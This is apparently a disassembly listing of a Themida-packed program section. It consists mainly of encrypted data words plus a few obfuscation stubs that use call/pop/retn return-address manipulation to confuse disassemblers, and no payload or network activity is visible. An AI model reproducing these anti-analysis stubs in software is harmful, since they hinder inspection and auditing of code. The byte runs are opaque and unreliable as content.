		dd 4B204712h, 1B85885Bh, 67C5C691h, 1FA13DB6h, 0FF02EA36h
		dd 94202D51h, 632044FAh, 727A6712h, 0FC74CE48h,	4864C616h
		dd 36205016h, 0D8720512h, 464A4DA6h, 0CA1DF2EDh, 634A411Ch
		dd 0B123AF41h, 83004712h, 30A91CD1h, 72A14336h,	1B374336h
		dd 0DE634712h, 0A5F10FD1h, 632DAFFDh, 0FA394712h, 0C4E208FCh
		dd 0EEDC6053h, 37C77B46h, 150C0297h, 2F1914h, 0C6204711h
		dd 0EEEBF81Dh, 0A04F3397h, 0FBF0B814h, 6213A2AFh, 0E3A5CE14h
		dd 9026491Ah, 833B32AFh, 0D7A58114h, 2426493Dh,	59754778h
		dd 0D8204711h, 31E31A32h, 32042B9Bh, 1F040393h,	8D204708h
		dd 0EDE31257h, 0D9A01860h, 0B9C91C78h, 25204712h, 0F88914A7h
		dd 0DEFB1BE6h, 1B204716h, 3AFE9ABBh, 0A070B999h, 27AB8C99h
		dd 0E3704336h, 0D7E8CC74h, 758DFD23h, 6E7A676Ch, 90464799h
		dd 0A964CEE1h, 0C625AF16h, 4B814712h, 0EBDCE048h, 89202D4Ah
		dd 6C2044FAh, 0F5796712h, 3F6CCE4Bh, 0A964C616h, 0C6205C16h
		dd 0A0710612h, 30F43C83h, 0D1CC7D42h, 93EBF01Dh, 382C7AA7h
		dd 0EBAB2114h, 0E254C29Fh, 0C64A4103h, 6323AF43h, 0E8004712h
		dd 94A91ED1h, 28A14336h, 36364336h, 4A614712h, 3B9057D1h
		dd 5B1197EDh, 652E525Bh, 0A501C29Bh, 0D84A411Ch, 6C23AF47h
		dd 6B004712h, 77A91AD1h, 0C9A14336h, 0C6394336h, 36654712h
		dd 2AEB42D1h, 0D15D2A51h, 6205228Fh, 0FB5CC14h,	0DD264926h
		dd 830F5697h, 0C64A0014h, 6323AF47h, 0EC004712h, 0B4A91AD1h
		dd 28A14336h, 36374336h, 4E654712h, 46573AD1h, 0BF9D46BFh
		dd 0E3264931h, 0B5C818DCh, 0A2204712h, 0AA19B02h, 666448ABh
		dd 5FABB498h, 9CC84336h, 14204712h, 4B1D2E67h, 57282EF4h
		dd 465C435Bh, 96CB048Bh, 36204AFBh, 0D59CEB12h,	3C34593Dh
		dd 837EAE10h, 0E87E12E8h, 0B129AF12h, 0D91B4712h, 6E794131h
		dd 0DE5B6313h, 1B204702h, 0B7138C6Fh, 3E5FF8FFh, 0F6EB5859h
		dd 6B11C836h, 827F1E42h, 6804039Bh, 362053FBh, 0C9A77312h
		dd 0A54E3F4Ch, 46F77EF3h, 0D948F790h, 0B6D7F590h, 0D84A1F23h
		dd 6C23AF42h, 6E004712h, 5FA91FD1h, 0C9A14336h,	0C6344336h
		dd 33604712h, 3F2F1ED1h, 0D8204712h, 601DF2EDh,	364A411Ch
		dd 1B23AF42h, 0D5004712h, 82A91FD1h, 27A14336h,	0B1364336h
		dd 88604712h, 26203FD1h, 5954C29Fh, 0A42F4103h,	0DF0B8EBh
		dd 43A926D7h, 652E5A9Bh, 59774778h, 0D8204711h,	33E31832h
		dd 32043B9Bh, 1F040393h, 8D20470Bh, 4AE31055h, 0B6F7B35Fh
		dd 6C20FEA3h, 5DE64262h, 6A2E6803h, 63202D55h, 1B2044FAh
		dd 4E7D6712h, 0E24CCE4Fh, 4764C616h, 0B1205D16h, 1B750212h
		dd 0A6036277h, 39741667h, 1B20419Eh, 88ADCC12h,	0AE26490Fh
		dd 0C7024CDDh, 0B269FD74h, 56044393h, 0D626EC22h, 45ED44C1h
		dd 171DF2EDh, 8D4A411Ch, 0C623AF47h, 3E004712h,	0DDA91AD1h
		dd 9CA14336h, 6C374336h, 63654712h, 4C33C5D1h, 0F9A5CACEh
		dd 0AC26567Dh, 60C81212h
		dd 91204712h, 517D844Fh, 0ED24637Eh, 23246356h,	5E204712h
		dd 0BD668447h, 0EC4DCA9Bh, 0B3DF411Ch, 59734778h, 0D8204711h
		dd 37E31C32h, 32041B9Bh, 1F040393h, 8D204706h, 9BE31451h
		dd 6921C29Bh, 34A9411Ch, 0DE2E46D7h, 89BC8893h,	87403AFDh
		dd 1EB5CC7Fh, 0EC264915h, 0C64A97EDh, 6323AF43h, 0E8004712h
		dd 94A91ED1h, 28A14336h, 363C4336h, 4A614712h, 85F1D8D1h
		dd 3220456Ch, 0E6A9C8AAh, 0B72E5327h, 45099099h, 6A2E5EBBh
		dd 5CF8CB74h, 18C81012h, 0AD204712h, 4F7F844Dh,	0E224636Eh
		dd 0AC246356h, 9F204712h, 90628445h, 6C0E05FDh,	68B6D23Fh
		dd 8079D299h, 0C204411Ch, 8B734778h, 0B1204711h, 83E31C32h
		dd 68041B9Bh, 32040393h, 1B20470Bh, 40E31451h, 0F0497B44h
		dd 6CE04D16h, 0B1236296h, 8D202D12h, 6C2044FAh,	0F57D6712h
		dd 3F4CCE4Fh, 0A964C616h, 0C6205E16h, 0A0750212h, 0EDD56359h
		dd 522F6518h, 6C204717h, 53D6C674h, 0AA5816Eh, 0C226493Dh
		dd 0C62CC31Dh, 0ED2F4712h, 0B1204714h, 0D141FA23h, 0A648411Ch
		dd 0DFFB70A4h, 1B20471Eh, 40078F74h, 4CDFED0Ch,	8CC3B80h
		dd 0BF047393h, 2744F0C8h, 622C7AA7h, 3627AE14h,	313B4712h
		dd 182222E9h, 0B2A5CA07h, 326567Dh, 0DA8BB7AAh,	0C59DCC50h
		dd 0D26491Ah, 364A97EDh, 1B23AF44h, 0D3004712h,	0B2A919D1h
		dd 27A14336h, 0B13A4336h, 8E664712h, 0BA54C0D1h, 8DB3DFF6h
		dd 0E9CAFD74h, 9E25FA39h, 6A3411Ch, 0A2A12136h,	846BD03h
		dd 5DA9BCE6h, 6A2E49C7h, 0DE754778h, 1B204711h,	0D0E31A32h
		dd 0C2042B9Bh, 67040393h, 0B1204707h, 0D3E31257h, 0ED4627FBh
		dd 0BF83C6C5h, 1514C287h, 8AB2614h, 0C02E5327h,	6323C21Dh
		dd 62F4712h, 1DBDCCE5h,	6264913h, 35C81412h, 3B204712h
		dd 47B8449h, 4724634Eh,	74246356h, 0F2204712h, 9AD78441h
		dd 0A63BA74h, 2DABBD99h, 1B0DCA13h, 96AB411Ch, 2E714778h
		dd 63204711h, 0E8E31E32h, 0DC040B9Bh, 68040393h, 3620470Fh
		dd 0B5E31653h, 96147Eh,	3576AD0Ch, 76957610h, 3A26491Dh
		dd 88202D09h, 6C2044FAh, 0F5786712h, 3F64CE4Ah,	0A964C616h
		dd 0C6205D16h, 0A0700712h, 0B8713760h, 311048C6h, 6C204719h
		dd 9E20E114h, 92E66A97h, 0C072A8Fh, 91A915E0h, 0D1F87421h
		dd 0ACBDCE5Fh, 0D726490Fh, 6C204199h, 5BADCC12h, 7D264923h
		dd 8E68899h, 0C02E6803h, 31202D55h, 0B12044FAh,	1B7A6712h
		dd 4874CE48h, 1264C616h, 1B205D16h, 4E720512h, 0C29C05B7h
		dd 5EA3853h, 24A98D99h,	0DE2E634Fh, 33B1C07Ah, 50721760h
		dd 2A2F8D99h, 0EA01D0ADh, 47781D76h, 2F026316h,	0B14A026Dh
		dd 0D823AF43h, 35004712h, 7AA91ED1h, 5FA14336h,	8D354336h
		dd 97614712h, 58F91D1h,	4E4069A8h, 0D62C7AA7h, 3D202D14h
		dd 362044FAh, 0D8796712h, 0A96CCE4Bh, 0E264C616h, 63205D16h
		dd 72710612h, 0F139C107h, 856ED803h, 36204717h,	7188B88Ah
		dd 0F9A5CAF3h, 2E26567Dh, 6320471Ch, 2D232417h,	0CF19E6B1h
		dd 7F0AC458h, 6091B02Dh, 71F0B84Dh, 8EC81612h, 0E6204712h
		dd 0EA79844Bh, 3024635Eh, 0C5246356h, 2D204712h, 1B648443h
		dd 0D98F4C5Dh, 7753C3AEh, 43A9B699h, 652E5333h,	0BAE9CA99h
		dd 0D160411Ch, 6214CA9Fh, 3920CC14h, 1B204799h,	0E720CC12h
		dd 0C5C81412h, 43204712h, 387B8449h, 5924634Eh,	76246356h
		dd 75204712h, 0C5748441h, 0D0DA3A8Ah, 68C6C7BAh, 604DC29Bh
		dd 0B14A411Ch, 0D823AF40h, 36004712h, 62A91DD1h, 5FA14336h
		dd 8D394336h, 94624712h, 2FE6B1D1h, 580BFC25h, 0D8204660h
		dd 84774778h, 36204711h, 44E31832h, 89043B9Bh, 0C2040393h
		dd 63204708h, 0E9E31055h, 1517D960h, 0E9AD85BCh, 3031E787h
		dd 0A48F8693h, 0EDB07527h, 0C62048FBh, 664A6312h, 7A479034h
		dd 0EF92852Fh, 5A7D97C3h, 66419798h, 1B204EFAh,	0D7F9BB12h
		dd 0E6783B6Ch, 0D79AD6F4h, 0EE236962h, 8E202D82h, 6C2044FAh
		dd 0F57E6712h, 3F54CE4Ch, 0A964C616h, 0C6205216h, 0A0760112h
		dd 0B9C92F67h, 57204712h, 86C21E34h, 0C9EF71B0h, 153CD687h
		dd 0DB202D14h, 0C62044FAh, 0A07E6712h, 9554CE4Ch, 0FC64C616h
		dd 6C205D16h, 0F5760112h, 0C854753Dh, 6DA319Dh,	0C82EC6AFh
		dd 0F8BDCA14h, 0DB2656B2h, 0DBC81612h, 4C204712h, 0BF79844Bh
		dd 9A24635Eh, 95246356h, 87204712h, 0EC898443h,	0D7724BFEh
		dd 4F88D93h, 4C76F842h,	2AA9799Eh, 0ED9F4836h, 0A924CE42h
		dd 2E714778h, 63204711h, 0E8E31E32h, 0DC040B9Bh, 68040393h
		dd 36204708h, 10E31653h, 610F6B40h, 712F57BEh, 0DAADCEE8h
		dd 4E264907h, 0D62F9687h, 3B202D14h, 362044FAh,	0D87F6712h
		dd 0A95CCE4Dh, 0E264C616h, 63205216h, 72770012h, 6DA9C8C6h
		dd 6A2E5EBBh, 38F5C29Bh, 1B4A411Ch, 8D23AF40h, 9C004712h
		dd 37A91DD1h, 0F5A14336h, 0D8364336h, 3E624712h, 0B65C41D1h
		dd 45F0CC42h, 0AC11CA3Bh, 43E6411Ch, 652E6803h,	0B12FAE41h
		dd 0B73D4712h, 8C23801Eh, 0E170D3C7h, 3694BB73h, 0F32EF86Dh
		dd 0C04850AFh, 57345D7h, 0B5A18C99h, 5C9F3E36h,	3A202D45h
		dd 362044FAh, 0D87E6712h, 0A954CE4Ch, 0E264C616h, 63205116h
		dd 72760112h, 2056F589h, 601DF2EDh, 364A411Ch, 1B23AF45h
		dd 0D2004712h, 0BAA918D1h, 27A14336h, 0B1354336h, 8F674712h
		dd 0ED3114D1h, 0C2A345FDh, 0CEB5CC0Dh, 264930h,	0D74F3397h
		dd 0AEB5CC14h, 4E264926h, 0D831AEC2h, 9ADA4712h, 0FEDA015Fh
		dd 0B0B42119h, 0F5792B2Eh, 4FAFDAB1h, 6D3E0E97h, 7F974814h
		dd 0F731C2D4h, 667411Ch, 35C81012h, 3B204712h, 47F844Dh
		dd 4724636Eh, 74246356h, 0F6204712h, 8388445h, 68C89088h
		dd 0A6204712h, 4B813507h, 0BC2F1542h, 9CDECC74h, 4764CC4Ah
		dd 3AE8F216h, 0FC64CE12h, 3C722716h, 6C114840h,	90461F4Ah
		dd 727826E3h, 0C82C7AA7h, 32202D14h, 0B12044FAh, 1B796712h
		dd 486CCE4Bh, 1264C616h, 1B205E16h, 4E710612h, 682FD59Dh
		dd 0E6A95AFEh, 0B72E6DBBh, 0B754C29Fh, 6C4A4103h, 3623AF47h
		dd 46004712h, 0E1A91AD1h, 82A14336h, 63354336h,	0E4654712h
		dd 59FC53D1h, 758A06FCh, 5CF0B866h, 18C81212h, 0AD204712h
		dd 4F7D844Fh, 0E224637Eh, 0A4246356h, 9D204712h, 53748447h
		dd 8515A593h, 9EA94BB2h, 8B2E570Bh, 9CBEAD93h, 0E6E6027Ah
		dd 0B72E6803h, 9DADCE41h, 426491Eh, 53B1FF7Fh, 1FA18D99h
		dd 2A876436h, 97202D21h, 632044FAh, 72796712h, 0FC6CCE4Bh
		dd 4864C616h, 36205E16h, 0D8710612h, 0E1377C60h, 0D4C952B8h
		dd 2A204712h, 7CFB9233h, 0CE019F98h, 5B6D66C3h,	27D72B20h
		dd 2695B8CFh, 0E726491Eh, 0C5C81712h, 43204712h, 3878844Ah
		dd 59246356h, 76246356h, 76204712h, 0A3F48442h,	0FF4BF67Dh
		dd 0B2A5CA8Dh, 8A26567Dh, 0B1204703h, 2DAC54E3h, 0CD0E6CC6h
		dd 0F616CA4Ch, 4359B6C0h, 0E7F0B8E5h, 0C5C81012h, 43204712h
		dd 387F844Dh, 5924636Eh, 70246356h, 71204712h, 50D18445h
		dd 385CF614h, 3FC88D4Eh, 6A99C29Bh, 0B14A411Ch,	0D823AF40h
		dd 36004712h, 62A91DD1h, 5FA14336h, 8D354336h, 94624712h
		dd 500C43D1h, 0BF142E87h, 0D82AAE14h, 58ED4712h, 7C984EFFh
		dd 693286BCh, 0A231C2D4h, 0AC77411Ch, 60C81412h, 91204712h
		dd 517B8449h, 0ED24634Eh, 2F246356h, 58204712h,	0F07E8441h
		dd 76B0B802h, 6EC91172h
		dd 0F2204712h, 6828049Ah, 0ACA094Ch, 2CF35687h,	0CD9F484Dh
		dd 46AB2173h, 97DD607Ah, 0DA461604h, 307ED0B0h,	8CFF6316h
		dd 6C4A3EA0h, 3623AF44h, 45004712h, 0F9A919D1h,	82A14336h
		dd 633C4336h, 0E7664712h, 182834D1h, 217EE66h, 812F98DFh
		dd 2695B8ECh, 6426491Eh, 0C620471Ah, 0F830DE9Fh, 770CDC04h
		dd 0B754C29Fh, 3954103h, 364A97EDh, 1B23AF40h, 0D7004712h
		dd 92A91DD1h, 27A14336h, 0B13D4336h, 8A624712h,	2BF5E2D1h
		dd 5172DB96h, 324D9B4Eh, 832CC29Fh, 47A5CE14h, 0EA26493Dh
		dd 0BF3DF2A7h, 0C9A58114h, 2F26493Dh, 0DE774778h, 1B204711h
		dd 0D2E31832h, 0C2043B9Bh, 67040393h, 0B120470Bh, 6BE31055h
		dd 0C1646846h, 0EDE9C693h, 732B0C2Eh, 0D7D5EFD1h, 0FD38FE74h
		dd 6044393h, 0DB41DDD5h, 0DBC81712h, 4C204712h,	0BF78844Ah
		dd 9A246356h, 97246356h, 86204712h, 0BC328442h,	0CBCD702Ch
		dd 0E595B86Ch, 626491Eh, 35C81512h, 3B204712h, 47A8448h
		dd 47246346h, 75246356h, 0F3204712h, 5DE98440h,	6AAA4826h
		dd 3F204712h, 153B0EAFh, 18ADCC14h, 4B26490Dh, 724F3397h
		dd 4E77F514h, 1D9D74C2h, 0E5264909h, 383B3697h,	1DA04814h
		dd 4204712h, 0C82DE2AFh, 0E8A5CA14h, 3A2656B2h,	0D602C29Fh
		dd 0A401714h, 64708099h, 2A2F7AA6h, 80D24FA9h, 0A7781D09h
		dd 904439Bh, 0B2C81712h, 0F8204712h, 0E578844Ah, 0B7246356h
		dd 3246356h, 0CD204712h, 0ED5B8442h, 96EA5495h,	0ADA9F299h
		dd 4DDF411Ch, 6A2E5B83h, 153DF29Bh, 0C3AB411Ch,	97D5C29Bh
		dd 4BD5411Ch, 72803897h, 0E6202D14h, 0D82044FAh, 0AF7F6712h
		dd 125CCE4Dh, 3F64C616h, 8D205D16h, 5770012h, 59FC1400h
		dd 0BE7D5A42h, 0D8204399h, 0DC9F2112h, 0BD4617CCh, 3F24CEC4h
		dd 65764778h, 0C6204711h, 3DE31932h, 0B504339Bh, 0DC040393h
		dd 6C204705h, 0FDE31154h, 7DB2A6E1h, 0EB70B699h, 4F7397ACh
		dd 634A630Eh, 0B123AF45h, 87004712h, 10A918D1h,	72A14336h
		dd 1B394336h, 0DA674712h, 8C36FFD1h, 9C34C4CEh,	0BF2F9687h
		dd 51A5CE14h, 0AB264904h, 380E0E97h, 1B204814h,	0DF202D12h
		dd 0C62044FAh, 0A07A6712h, 9574CE48h, 0FC64C616h, 6C205216h
		dd 0F5720512h, 9C9AE9Ah, 49204712h, 3A896C67h, 0FC5E882Eh
		dd 42FB807h, 0AF0387FFh, 0F9DFBBB3h, 302E519Bh,	39E5C29Bh
		dd 8D4A411Ch, 0C623AF47h, 3E004712h, 0DDA91AD1h, 9CA14336h
		dd 6C3D4336h, 63654712h, 0D22A4AD1h, 0FC617973h, 2FEF17CEh
		dd 63204706h, 2EA85880h, 584A76ADh, 0AC5A608Dh,	3BF5CCE4h
		dd 50775F98h, 8175D223h, 43AB411Ch, 652E7757h, 250DA9Fh
		dd 9BA94103h, 0C19DCA13h, 0BB264932h, 0A930DA7h, 8D13FE14h
		dd 62D34712h, 639874F9h, 0BA204712h, 1A2333D2h,	28AB470Ah
		dd 0DE734B36h, 1B204712h, 9AE3C649h, 4F204712h,	0EA30634Eh
		dd 0EA346356h, 7A8070AAh, 0E7C0B812h, 0C9246356h, 4B202DF2h
		dd 8D2044FAh, 5786712h,	4764CE4Ah, 9564C616h, 0D8205A16h
		dd 0AF700712h, 70E3985Fh, 0AF391C92h, 10A966FAh, 0C02E4373h
		dd 0D6D1C773h, 115FFA9Fh, 55AD4103h, 6A31F4DAh,	108B72AAh
		dd 0AAA5748Ah, 0A6264912h, 72C986DDh, 0FA32202Dh, 12B12044h
		dd 4B1B7967h, 16486CCEh, 161264C6h, 121B205Eh, 0F305E983h
		dd 89D98BA4h, 0E2A7D9Dh, 67E906h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0CA72AC3h
		dd 482A763Fh, 1810F88h,	0F9000000h, 53006A61h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0A96030ECh
		dd 0C4E6ED2Bh, 12E9h, 98861200h, 0DDDED395h, 8D726135h
		dd 0A11B6FA2h, 0C3EB83C1h, 6AC08BF8h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0AA40C355h
		dd 0DA2EC2A1h, 6030C15Ch, 0E1F5BF51h, 0E95E69EBh, 8, 0C973E9A1h
		dd 50C58AB8h, 21BD8361h, 60E0Eh, 0BD830975h, 60E0FC5h
		dd 50197400h, 0B8C08B53h, 4B9h,	15C58589h, 9D8D060Eh, 610A8D3h
		dd 585BD3FFh, 0FC5BD83h, 7400060Eh, 0B8535017h,	4B9h, 15C58589h
		dd 9D8D060Eh, 610A574h,	585BD3FFh, 2800F60h, 8B000000h
		dd 0B860FC7h, 0E8000000h, 5, 1EB8FD6Ch,	0FC615EAFh, 6060C08Bh
		dd 0B575D281h, 8F0F7F6Ah, 0
; ---------------------------------------------------------------------------
		popa
		mov	ah, 0EFh
		popa
		inc	eax
		mov	eax, ecx
		push	0
		push	ebp
		call	sub_584B1A
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_584B1A	proc near		; CODE XREF: Themida_:00584B12p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_584B1A	endp

; ---------------------------------------------------------------------------
		dw 0E967h
		dd 2C86AE89h, 4EBh, 0EF810000h,	57B50676h, 6AF1B70Fh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 0B14CC355h, 0DE942BCAh, 0BFA46258h, 50E359D9h, 19C1858Dh
		dd 6A060Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 1B9203C3h, 0F08B66BAh, 0C2DB58Bh,	6650060Eh
		dd 890A7ABFh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0F1D0F5C3h, 6634706Fh, 4D852957h
		dd 5F060E20h, 24498D89h, 6A060Eh, 66F7B70Fh, 6AF18Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0F1C35343h, 70412F77h
		dd 0B509FBF6h, 60E1621h, 0B778858Dh, 6A0611h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0ACC91FC3h
		dd 0D985895Fh, 33060E23h, 0E1739BDh, 5C08306h, 50F9BF0Fh
		dd 89F98B66h, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 0BEACA9C3h, 7E8F63B4h, 6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0E94260C3h, 10h, 66F9C441h, 79BA397Ah, 1AE8A93h, 0DF29AF58h
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 2CBA0AC3h, 7D34DDD7h, 91E68166h, 0FFF88B52h
		dd 0E2FE195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 0BD8B4DBCh, 60E0245h, 924B9D8Dh
		dd 6A0611h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 7BAD86C3h, 0FF78A1C0h, 56006AD3h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0F16E765h
		dd 6FFEC162h, 53BF6627h, 0B9BD233Fh, 0F060E0Ah,	85FFF2B7h
		dd 60E1475h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	0B7C35545h, 0E4C4A642h,	3C19D781h, 0EF817411h
		dd 28600B9Ah, 862E9h, 0E800h, 815D0000h, 11B782EDh, 6890F06h
		dd 23000000h, 0E1999B5h, 49BD8106h, 0D0060E2Eh,	0F000007h
		dd 1B886h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 0BF662DCBh, 8529CF03h, 60E0369h
		dd 1CF19D8Bh, 6A060Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 3EFF7EC3h, 0D68166D7h, 0E3813A09h
		dd 100h, 0DB0BF28Bh, 0D1850Fh, 6A0000h,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 332D20C3h
		dd 0BB35AF54h, 5AE7BE11h, 0BD830934h, 611B536h,	48840F00h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 5C7BC357h, 9589D790h, 60E03A9h
		dd 0A5E9h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 0C747002Bh, 11B53685h, 106h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 2C819812h, 7192B104h, 8E9h, 0D919D600h, 0A9E86C1Dh
		dd 0C6816663h, 43E93C5Bh, 60000000h, 39F17BFh, 0D68B6643h
		dd 199D3161h, 0C7060E0Bh, 11B53685h, 6,	53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 206B6FB2h, 2ACA5673h, 0F318BE14h, 9D8D29CFh,	60E1CF1h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0EEC35040h
		dd 1AF59D01h, 8D89060Eh, 60E0791h, 0FEFF2381h, 8C0FFFFFh
		dd 13h,	0EE9h, 0C674F700h, 0FD14BAA2h, 1FB789D0h, 8B299787h
		dd 0E1005BDh, 0DB8C6606h, 0A37EBE66h, 0F04C3F6h, 6D84h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 9FF87342h, 18CE6FEFh, 8995FF1Bh,	2B060E16h
		dd 0E1FD5BDh, 50609006h, 66310F52h, 585AD18Bh, 5F616051h
		dd 0BF665061h, 6A9008DAh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0EB7DC353h,	6DF881ACh
		dd 0BE66A894h, 7BE9C099h, 6A000004h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 346AC352h
		dd 1DB4AC10h, 0E20F9619h, 2890Fh, 0F38B0000h, 8D8900B0h
		dd 60E0A39h, 6A70E6h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 36C259C3h, 0B58971E4h, 60E2961h
		dd 0E8D8B60Fh, 0Eh, 0BEFDC2F6h,	0C65C1114h, 0A5D704DAh
		dd 0BA5FC1CFh, 6, 6870Fh, 0E6810000h, 5ACA9D85h, 6AC38Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 33227EC3h, 89601163h, 0E22BDB5h, 0CA8B6606h,	4E8C161h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 9AC35545h
		dd 0B6350049h, 11E9h, 41A49600h, 0B59DA11Fh, 45A5D573h
		dd 4CC9FFFFh, 0F766DE00h, 55006AE2h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0BFD82BAAh
		dd 71EC1AC6h, 0B0F7BE50h, 1C8902B0h, 6E824h, 78510000h
		dd 0B32FD9EBh, 5E5FF850h, 2E49B5FFh, 6A060Eh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 5290F1C3h
		dd 74C00873h, 4595FFA9h, 89060E0Fh, 0E2ABD85h, 6A00B006h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 9148C350h, 1D89465Ah, 597CB59Ch, 9D8970E6h
		dd 60E06E5h, 0BD8B71E4h, 60E2219h, 830F613Ch, 2DEh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0A1C35747h, 8A6FAB05h
		dd 2000EE62h, 899D293Eh, 0F060E00h, 0BD8BD8B6h,	60E28DDh
		dd 6BAh, 0E1BD8B00h, 0F060E1Ah,	0C38BF7BFh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 99C35040h, 0EFCA5D7Ch
		dd 32A35720h, 0BD296040h, 60E13C1h, 3189958Bh, 0C161060Eh
		dd 6A04E8h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 9D29B8C3h, 60E2929h, 2F59B58Bh, 0F766060Eh
		dd 81BD8BE2h, 2B060E2Ch, 51006AD8h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 58FC9C2Eh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0CCC35545h, 0F3FE7DB4h
		dd 2BA1232Ah, 0E7880FD8h, 6A000001h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 28E8C351h
		dd 0D3D5E9EBh, 7B9901Eh, 0F000000h, 8Ah, 0C18300h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0ADC35242h, 107FE724h
		dd 5CAD341h, 0B5858946h, 3B060E0Fh, 83860FD9h, 6A000001h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 56CDC351h, 436693Ch, 20019D89h, 8C66060Eh
		dd 55006AD9h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 0C1F6668Bh, 0EA840F04h, 0F000000h, 0C80h
		dd 0D1816000h
		dd 4A603B94h, 9425BE66h, 8995FF61h, 6A060E16h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 72DDC355h, 0E3731B51h, 8E0FAD07h, 6,	29C1B58Bh, 6A5B060Eh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 9447C351h, 9685039Ah, 10E8ED23h, 0B9000000h
		dd 7943471Ah, 1737186Ah, 4639BEC8h, 0FC1F562Eh,	6AC32B5Eh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 7DAC357h,	0DBE0493Ah, 2FBADFEEh, 1C959509h
		dd 343D060Eh, 0F000008h, 3086h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 7C7C8214h
		dd 3C9B589h, 8C0F060Eh,	0
; ---------------------------------------------------------------------------
		jmp	loc_585456
; ---------------------------------------------------------------------------
		db 8Bh,	0C0h
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_58541A
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58541A	proc near		; CODE XREF: Themida_:00585412p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_58541A	endp

; ---------------------------------------------------------------------------
		dw 5F6h
		dd 61DE4F3Ah, 0E8E57345h, 0Fh, 37B3A8EEh, 36965EC8h, 804E94DBh
		dd 50B16393h, 850Fh, 5E5F0000h,	9198D89h
; ---------------------------------------------------------------------------
		push	cs
		push	es


loc_585456:				; CODE XREF: Themida_:00585408j
		mov	eax, ebx
		mov	ebx, eax
		xor	edi, 33174DEh
		mov	dword ptr [ebp+60E3171h], 15370DFBh
		push	0
		push	ebp
		call	sub_585475
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_585475	proc near		; CODE XREF: Themida_:0058546Dp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_585475	endp

; ---------------------------------------------------------------------------
		db 0EAh, 37h, 0F9h
		dd 8BE96427h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
